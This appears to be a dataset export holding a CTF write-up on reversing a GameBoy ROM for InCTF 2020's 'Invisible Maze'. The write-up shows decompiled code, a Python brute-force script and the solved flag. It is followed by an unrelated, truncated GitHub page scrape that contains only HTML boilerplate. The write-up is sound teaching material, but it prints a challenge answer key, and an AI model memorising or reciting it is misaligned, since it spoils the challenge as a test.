text_chunk
stringlengths
151
703k
> Invisible Maze> > 956> > Move the flag in just the right ways or just hack the game!> > Author: officialcjunior> > Download: [output.gb](https://0xd13a.github.io/ctfs/inctf2020/invisible-maze/output.gb) This is a fun little GameBoy reversing challenge. Absent of actual hardware let's download an emulator [BizHawk](http://tasvideos.org/Bizhawk.html). The game requires you to move the flag across the field until you hit the spot where the flag is hidden: ![screenshot1](https://0xd13a.github.io/ctfs/inctf2020/invisible-maze/screenshot1.png) ![screenshot2](https://0xd13a.github.io/ctfs/inctf2020/invisible-maze/screenshot2.png) Ghidra does not support GameBoy out of the box, but we can download and install a [GhidraBoy extension](https://github.com/Gekkio/GhidraBoy). Opening the game file in Ghidra is not enough as not all code is easily recognized as such. We would need to go though entire file surface and manually convert to code anything that looks like code (press D in the Listing window). Once all code is decompiled there is a particular function that seems to decode the actual flag: ```cvoid FUN_0200(char param_5,byte param_6){ byte i_00; short i; byte bStack0005; i = 0; while ((bStack0005 ^ 0x80) < 0x80 || (byte)((bStack0005 ^ 0x80) + 0x80) < (i_00 < 0x1d)) { DAT_c1a0 = (undefined)((ushort)("KRUHZ=\x03\t\a!R\x04!0\x05\n\x05RX!\x04:!>\x05PX\b?" + i)>> 8) ; DAT_c19f = "KRUHZ=\x03\t\a!R\x04!0\x05\n\x05RX!\x04:!>\x05PX\b?"[i] + param_5; (&DAT_c0d1)[i] = param_6 ^ DAT_c19f; i = i + 1; } (&DAT_c0d1)[i] = 0; FUN_1658("Way to go! \n flg if u not noob: %s\n",&DAT_c0d1); return;}``` Essentially it takes in 2 parameters (I guess they are dependent on the position of the flag icon in the field) and uses them to decrypt the flag data. The 2 parameters are bytes, so it's easy enough to bruteforce all possible combinations. Let's write this in Python: ```pythonimport string enc = [0x4B, 0x52, 0x55, 0x48, 0x5A, 0x3D, 0x03, 0x09, 0x07, 0x21, 0x52, 0x04, 0x21, 0x30, 0x05, 0x0A, 0x05, 0x52, 0x58, 0x21, 0x04, 0x3A, 0x21, 0x3E, 0x05, 0x50, 0x58, 0x08, 0x3F]for i in range(0x100): for j in range(0x100): out = '' for x in range(len(enc)): out += chr(((enc[x] + i) & 0xff) ^ j) if (out.startswith("inctf{") and all(c in string.printable for c in out)): print(out, i, j)``` Running the script gives us the flag: ```$ python solve.py ('inctf{175_n0_L363nd_0F_z3ld4}', 37, 25)('inctf{175_n0_L363nd_0F_z3ld4}', 165, 153)``` The flag is ```inctf{175_n0_L363nd_0F_z3ld4}```.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/HacktivityCon CTF 2020/pwn/bullseye at master · KEERRO/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A345:A589:7F4C33C:828FB8C:64121E37" data-pjax-transient="true"/><meta name="html-safe-nonce" content="61481241628e0bd2a12000144cb93f1a417b4ccaa132427089b8fadd8bcf7f88" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMzQ1OkE1ODk6N0Y0QzMzQzo4MjhGQjhDOjY0MTIxRTM3IiwidmlzaXRvcl9pZCI6IjQ4MzQxMTMzNzg0MDk2NTE3NjciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="d80effae810b06f13074a7bfd21f4861fd7ec98ac4eaadf3d7120ffe69e03060" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162845937" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/HacktivityCon CTF 2020/pwn/bullseye at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/HacktivityCon CTF 2020/pwn/bullseye at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" /> <link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/HacktivityCon%20CTF%202020/pwn/bullseye" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 